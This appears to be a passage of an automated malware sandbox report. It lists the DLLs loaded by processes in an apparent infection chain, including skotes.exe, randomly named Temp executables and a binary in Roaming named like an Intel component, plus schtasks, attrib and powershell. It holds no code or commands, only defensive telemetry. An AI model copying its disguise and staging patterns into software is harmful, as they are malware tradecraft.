                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: wldp.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: profapi.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: kernel.appcore.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: winhttp.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: mswsock.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: iphlpapi.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: winnsi.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: urlmon.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: srvcli.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: netutils.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: uxtheme.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: propsys.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: edputil.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: wintypes.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: appresolver.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: bcp47langs.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: slc.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: userenv.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: sppc.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: apphelp.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exeSection loaded: apphelp.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exeSection loaded: uxtheme.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exeSection loaded: windows.storage.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exeSection loaded: wldp.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exeSection loaded: profapi.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exeSection loaded: kernel.appcore.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exeSection loaded: propsys.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exeSection loaded: edputil.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exeSection loaded: urlmon.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exeSection loaded: iertutil.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exeSection loaded: srvcli.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exeSection loaded: netutils.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exeSection loaded: sspicli.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exeSection loaded: wintypes.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exeSection loaded: appresolver.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exeSection loaded: bcp47langs.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exeSection loaded: slc.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exeSection loaded: userenv.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exeSection loaded: sppc.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                                      Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dllJump to behavior
                                      Source: C:\Windows\System32\cmd.exeSection loaded: apphelp.dllJump to behavior
                                      Source: C:\Windows\System32\mode.comSection loaded: ulib.dllJump to behavior
                                      Source: C:\Windows\System32\mode.comSection loaded: ureg.dllJump to behavior
                                      Source: C:\Windows\System32\mode.comSection loaded: fsutilext.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeSection loaded: cryptbase.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeSection loaded: cryptbase.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeSection loaded: cryptbase.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeSection loaded: cryptbase.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeSection loaded: cryptbase.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeSection loaded: cryptbase.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeSection loaded: cryptbase.dllJump to behavior
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeSection loaded: cryptbase.dll
                                      Source: C:\Windows\System32\attrib.exeSection loaded: ulib.dll
                                      Source: C:\Windows\System32\attrib.exeSection loaded: fsutilext.dll
                                      Source: C:\Users\user\AppData\Local\Temp\main\in.exeSection loaded: apphelp.dll
                                      Source: C:\Users\user\AppData\Local\Temp\main\in.exeSection loaded: windows.storage.dll
                                      Source: C:\Users\user\AppData\Local\Temp\main\in.exeSection loaded: wldp.dll
                                      Source: C:\Users\user\AppData\Local\Temp\main\in.exeSection loaded: ntmarta.dll
                                      Source: C:\Windows\System32\attrib.exeSection loaded: ulib.dll
                                      Source: C:\Windows\System32\attrib.exeSection loaded: fsutilext.dll
                                      Source: C:\Windows\System32\attrib.exeSection loaded: ulib.dll
                                      Source: C:\Windows\System32\attrib.exeSection loaded: fsutilext.dll
                                      Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dll
                                      Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dll
                                      Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dll
                                      Source: C:\Windows\System32\schtasks.exeSection loaded: xmllite.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
                                      Source: C:\Windows\System32\PING.EXESection loaded: iphlpapi.dll
                                      Source: C:\Windows\System32\PING.EXESection loaded: winnsi.dll
                                      Source: C:\Windows\System32\PING.EXESection loaded: mswsock.dll
                                      Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeSection loaded: apphelp.dll
                                      Source: C:\Windows\explorer.exeSection loaded: iphlpapi.dll
                                      Source: C:\Windows\explorer.exeSection loaded: userenv.dll
                                      Source: C:\Windows\explorer.exeSection loaded: msvcp140.dll
                                      Source: C:\Windows\explorer.exeSection loaded: vcruntime140.dll
                                      Source: C:\Windows\explorer.exeSection loaded: vcruntime140_1.dll
                                      Source: C:\Windows\explorer.exeSection loaded: vcruntime140_1.dll
                                      Source: C:\Windows\explorer.exeSection loaded: cryptbase.dll
                                      Source: C:\Windows\explorer.exeSection loaded: wininet.dll
                                      Source: C:\Windows\explorer.exeSection loaded: powrprof.dll
                                      Source: C:\Windows\explorer.exeSection loaded: umpdc.dll
                                      Source: C:\Windows\explorer.exeSection loaded: uxtheme.dll
                                      Source: C:\Windows\explorer.exeSection loaded: mswsock.dll
                                      Source: C:\Windows\explorer.exeSection loaded: dhcpcsvc6.dll
                                      Source: C:\Windows\explorer.exeSection loaded: dhcpcsvc.dll
                                      Source: C:\Windows\explorer.exeSection loaded: dnsapi.dll
                                      Source: C:\Windows\explorer.exeSection loaded: napinsp.dll
                                      Source: C:\Windows\explorer.exeSection loaded: pnrpnsp.dll
                                      Source: C:\Windows\explorer.exeSection loaded: wshbth.dll
                                      Source: C:\Windows\explorer.exeSection loaded: nlaapi.dll
                                      Source: C:\Windows\explorer.exeSection loaded: winrnr.dll
                                      Source: C:\Windows\explorer.exeSection loaded: kernel.appcore.dll
                                      Source: C:\Windows\explorer.exeSection loaded: explorerframe.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
                                      Source: C:\Windows\System32\PING.EXESection loaded: iphlpapi.dll
                                      Source: C:\Windows\System32\PING.EXESection loaded: winnsi.dll
                                      Source: C:\Windows\System32\PING.EXESection loaded: mswsock.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: mscoree.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: apphelp.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: kernel.appcore.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: version.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: vcruntime140_clr0400.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: ucrtbase_clr0400.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: ucrtbase_clr0400.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: uxtheme.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: mscorjit.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: cryptsp.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: rsaenh.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: cryptbase.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: wldp.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: amsi.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: userenv.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: profapi.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: msasn1.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: gpapi.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: windows.storage.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: wldp.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: winhttp.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: ondemandconnroutehelper.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: webio.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: mswsock.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: iphlpapi.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: winnsi.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: sspicli.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: dnsapi.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: rasadhlp.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: fwpuclnt.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: schannel.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: mskeyprotect.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: ntasn1.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: ncrypt.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: ncryptsslp.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: msasn1.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: cryptsp.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: rsaenh.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: cryptbase.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: gpapi.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: dpapi.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: kernel.appcore.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: uxtheme.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: ondemandconnroutehelper.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: wbemcomn.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: amsi.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: userenv.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: profapi.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: version.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: ondemandconnroutehelper.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: ondemandconnroutehelper.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: ondemandconnroutehelper.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: ondemandconnroutehelper.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: ondemandconnroutehelper.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeSection loaded: ondemandconnroutehelper.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: apphelp.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: winmm.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: iphlpapi.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: cryptbase.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: cryptsp.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: rsaenh.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: dhcpcsvc6.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: dhcpcsvc.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: dnsapi.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: napinsp.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: pnrpnsp.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: wshbth.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: nlaapi.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: mswsock.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: winrnr.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: uxtheme.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: windows.storage.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: wldp.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: windowscodecs.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: napinsp.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: pnrpnsp.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: wshbth.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: nlaapi.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: winrnr.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: sspicli.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: rasadhlp.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: fwpuclnt.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: rstrtmgr.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: ncrypt.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: ntasn1.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: dpapi.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: kernel.appcore.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: propsys.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: dlnashext.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: wpdshext.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: profapi.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: edputil.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: urlmon.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: iertutil.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: srvcli.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: netutils.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: windows.staterepositoryps.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: wintypes.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: appresolver.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: bcp47langs.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: slc.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: userenv.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: sppc.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: onecorecommonproxystub.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeSection loaded: onecoreuapcommonproxystub.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: apphelp.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: winmm.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: windows.storage.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: wldp.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: winhttp.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: ondemandconnroutehelper.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: webio.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: mswsock.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: iphlpapi.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: winnsi.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: sspicli.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: dnsapi.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: rasadhlp.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: fwpuclnt.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: schannel.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: mskeyprotect.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: ntasn1.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: ncrypt.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: ncryptsslp.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: msasn1.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: cryptsp.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: rsaenh.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: cryptbase.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: gpapi.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: dpapi.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: kernel.appcore.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: uxtheme.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: ondemandconnroutehelper.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: wbemcomn.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: amsi.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: userenv.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: profapi.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: version.dll
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeSection loaded: ondemandconnroutehelper.dll
